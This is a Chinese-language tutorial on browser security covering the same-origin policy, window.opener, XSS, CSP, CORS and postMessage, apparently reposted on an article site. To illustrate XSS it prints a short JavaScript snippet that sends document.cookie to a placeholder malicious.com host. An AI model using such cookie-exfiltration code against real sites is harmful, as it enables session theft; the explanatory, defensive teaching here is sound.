無風險的世界不存在,包括瀏覽器,我們知道Web世界是開放的,包容的。但是開放和風險是對立的。
Web 世界會是開放的,任何資源都可以接入其中,我們的網(wǎng)站可以加載并執(zhí)行別人網(wǎng)站的腳本文件、圖片、音頻 / 視頻等資源,甚至可以下載其他站點的可執(zhí)行文件。
比如你打開了一個銀行站點,然后又一不小心打開了一個惡意站點,如果沒有安全措施,惡意站點就可以做很多事情:
修改站點的 DOM、CSSOM 等信息;
在銀行站點內(nèi)部插入 JavaScript 腳本;
劫持用戶登錄的用戶名和密碼;
讀取銀行站點的 Cookie、IndexDB 等數(shù)據(jù);
甚至還可以將這些信息上傳至自己的服務器,這樣就可以在你不知情的情況下偽造一些轉(zhuǎn)賬請求等信息。
在沒有安全保障的 Web 世界中,我們是沒有隱私的,因此需要安全策略來保障我們的隱私和數(shù)據(jù)的安全,這就引出了頁面中最基礎、最核心的安全策略,同源策略(Same-origin policy)
瀏覽器安全可以分為三大塊——Web 頁面安全、瀏覽器網(wǎng)絡安全、瀏覽器系統(tǒng)安全
思考幾個問題:
為什么某些頁面會崩潰?
為什么頁面崩潰后重新打開就正常了?
為什么單個tab頁面、插件崩潰不會影響其他Tab?
為什么有時候瀏覽器突然退出?
瀏覽器的單進程架構(gòu)和多進程架構(gòu)
單進程架構(gòu):不穩(wěn)定,不安全,所有的處理都在一個進程中,某個線程出現(xiàn)問題,瀏覽器就會崩潰
多進程架構(gòu):不同功能的進程相互分離,每個頁面都會有一個渲染進程,做到了進程隔離,某個進程的奔潰不會導致整個瀏覽器的崩潰
如果兩個 URL 的協(xié)議
、域名
和端口
都相同,我們就稱這兩個 URL 同源
http://ux.admin.com/task http://wx.admin.com/ticket https://ux.admin.com/ticket http://csm.admin.com/dashboard https://ux.admin.com:8080/api 復制代碼
瀏覽器默認兩個相同的源之間是可以相互訪問資源和操作 DOM 的。
通過window.open打開頁面相同域名下的頁面
點擊window.open按鈕,打開相同域名下的頁面
此時在子頁面中通過window.opener操作父頁面中的Dom,發(fā)現(xiàn)生效
同樣的方式,window.open打開不同域名下的頁面,同樣通過window.opener操作,返現(xiàn)報跨域錯誤
所以為了安全起見,通過window.open打開頁面可以增加代碼,阻止子頁面操作dom
const win = window.open("http://localhost:9000/index.html") win.opener = null 復制代碼
同源策略限制了不同源的站點讀取當前站點的 Cookie、IndexDB、LocalStorage 等數(shù)據(jù)。由于同源策略,我們依然無法通過第二個頁面的 opener 來訪問第一個頁面中的 Cookie、IndexDB 或者 LocalStorage 等內(nèi)容。
同源策略限制了通過 XMLHttpRequest 等方式將站點的數(shù)據(jù)發(fā)送給不同源的站點。你還記得在
以上就是同源策略,同源策略會隔離不同源的Dom、數(shù)據(jù)和網(wǎng)絡通信等。
但在實際工作中,常常需要不同域名進行訪問,不同資源的訪問,所以為了發(fā)展,就需要出讓一些安全策略,滿足發(fā)展的需要。
Web 世界是開放的,可以接入任何資源,而同源策略要讓一個頁面的所有資源都來自于同一個源,也就是要將該頁面的所有 HTML 文件、JavaScript 文件、CSS 文件、圖片等資源都部署在同一臺服務器上,這無疑違背了 Web 的初衷,也帶來了諸多限制。
比如將不同的資源部署到不同的 CDN 上時,CDN 上的資源就部署在另外一個域名上,因此我們就需要同源策略對頁面的引用資源開一個“口子”,讓其任意引用外部文件。
比如,惡意程序在 HTML 文件內(nèi)容中插入如下一段 JavaScript 代碼:
當這段 HTML 文件的數(shù)據(jù)被送達瀏覽器時,瀏覽器是無法區(qū)分被插入的文件是惡意的還是正常的,這樣惡意腳本就寄生在頁面之中,當頁面啟動時,它可以修改用戶的搜索結(jié)果、改變一些內(nèi)容的連接指向,等等。
除此之外,它還能將頁面的的敏感數(shù)據(jù),如 Cookie、IndexDB、LoacalStorage 等數(shù)據(jù)通過 XSS 的手段發(fā)送給服務器。具體來講就是,當你不小心點擊了頁面中的一個惡意鏈接時,惡意 JavaScript 代碼可以讀取頁面數(shù)據(jù)并將其發(fā)送給服務器,如下面這段偽代碼:
function onClick(){ let url = `http://malicious.com?cookie = ${document.cookie}` open(url) } onClick() 復制代碼
在這段代碼中,惡意腳本讀取 Cookie 數(shù)據(jù),并將其作為參數(shù)添加至惡意站點尾部,當打開該惡意頁面時,惡意服務器就能接收到當前用戶的 Cookie 信息。
以上就是一個非常典型的 XSS 攻擊。為了解決 XSS 攻擊,瀏覽器中引入了內(nèi)容安全策略,稱為 CSP。
CSP 的核心思想是讓服務器決定瀏覽器能夠加載哪些資源,讓服務器決定瀏覽器是否能夠執(zhí)行內(nèi)聯(lián) JavaScript 代碼
通過這些手段就可以大大減少 XSS 攻擊。
為了解決這個問題,我們引入了跨域資源共享(CORS)
使用該機制可以進行跨域訪問控制,從而使跨域數(shù)據(jù)傳輸?shù)靡园踩M行。
正常情況下發(fā)送跨域請求,瀏覽器自動添加Origin字段,告訴服務器本次請求的協(xié)議、域名和端口號
GET /cors HTTP/1.1 Origin: http://api.bob.com Host: api.alice.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0... 復制代碼
返回相應頭中包含了可以允許跨域的信息,如果響應頭中沒有包含Access-Control-Allow-Origin,就可能出現(xiàn)錯誤
Access-Control-Allow-Origin: http://api.bob.com Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: FooBar Content-Type: text/html; charset=utf-8 復制代碼
withCredentials
CORS請求默認不發(fā)送Cookie和HTTP認證信息
如果要發(fā)送服務器,服務器和客戶端都要增加參數(shù)
Access-Control-Allow-Credentials: true 復制代碼
var xhr = new XMLHttpRequest(); xhr.withCredentials = true; 復制代碼
可以通過 window.postMessage 的 JavaScript 接口來和不同源的 DOM 進行通信。
/* * A窗口的域名是<http://example.com:8080>,以下是A窗口的script標簽下的代碼: */ var popup = window.open(...popup details...); // 如果彈出框沒有被阻止且加載完成 // 這行語句沒有發(fā)送信息出去,即使假設當前頁面沒有改變location(因為targetOrigin設置不對) popup.postMessage("The user is 'bob' and the password is 'secret'", "https://secure.example.net"); // 假設當前頁面沒有改變location,這條語句會成功添加message到發(fā)送隊列中去(targetOrigin設置對了) popup.postMessage("hello there!", "http://example.org"); function receiveMessage(event) { // 我們能相信信息的發(fā)送者嗎? (也許這個發(fā)送者和我們最初打開的不是同一個頁面). if (event.origin !== "http://example.org") return; // event.source 是我們通過window.open打開的彈出頁面 popup // event.data 是 popup發(fā)送給當前頁面的消息 "hi there yourself! the secret response is: rheeeeet!" } window.addEventListener("message", receiveMessage, false); 復制代碼
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://specialneedsforspecialkids.com/yun/127963.html
摘要:同源策略同源策略是一種約定它是瀏覽器最核心也是最基本的安全功能如果缺少了同源策略則瀏覽器的正常功能可能會受到影響可以說是構(gòu)建在同源策略的基礎之上的瀏覽器只是針對同源策略的一種實現(xiàn)瀏覽器的同源策略限制了來自不同源的或腳本對當前讀取或設置某些屬 同源策略 同源策略是一種約定,它是瀏覽器最核心也是最基本的安全功能,如果缺少了同源策略,則瀏覽器的正常功能可能會受到影響.可以說Web是構(gòu)建在同源...
摘要:瀏覽器的同源策略瀏覽器所遵守的同源策略是指限制不同源之間執(zhí)行特定操作。這正是同源策略想要規(guī)避的安全隱患。目前為止,你已經(jīng)充分了解同源策略這個主題。 我們之前提到過,AJAX技術(shù)使開發(fā)者能夠?qū)W⒂诨ヂ?lián)網(wǎng)中數(shù)據(jù)的傳輸,而不再拘泥于數(shù)據(jù)傳輸?shù)妮d體。通過AJAX技術(shù),我們獲取數(shù)據(jù)的方式變得更加靈活,可控和優(yōu)雅。 但是AJAX技術(shù)并不是一把萬能鑰匙,互聯(lián)網(wǎng)中的數(shù)據(jù)隱私和數(shù)據(jù)安全(例如你的銀行賬號...
摘要:概述同源策略是對代碼能夠操作哪些內(nèi)容的一條完整的安全限制,也是由提出的一個著名的安全策略。同源策略的目的同源政策的目的,是為了保證用戶信息的安全,防止惡意的網(wǎng)站竊取數(shù)據(jù)。 [TOC] 1、概述 同源策略是對JavaScript代碼能夠操作哪些WEB內(nèi)容的一條完整的安全限制,也是由Netscape提出的一個著名的安全策略。所謂同源簡單來說就是三個相同,**1、域名相同2、協(xié)議相同3、端口...
摘要:概述同源策略是對代碼能夠操作哪些內(nèi)容的一條完整的安全限制,也是由提出的一個著名的安全策略。同源策略的目的同源政策的目的,是為了保證用戶信息的安全,防止惡意的網(wǎng)站竊取數(shù)據(jù)。 [TOC] 1、概述 同源策略是對JavaScript代碼能夠操作哪些WEB內(nèi)容的一條完整的安全限制,也是由Netscape提出的一個著名的安全策略。所謂同源簡單來說就是三個相同,**1、域名相同2、協(xié)議相同3、端口...
閱讀 289·2024-11-07 18:25
閱讀 130366·2024-02-01 10:43
閱讀 868·2024-01-31 14:58
閱讀 828·2024-01-31 14:54
閱讀 82766·2024-01-29 17:11
閱讀 3048·2024-01-25 14:55
閱讀 1985·2023-06-02 13:36
閱讀 3033·2023-05-23 10:26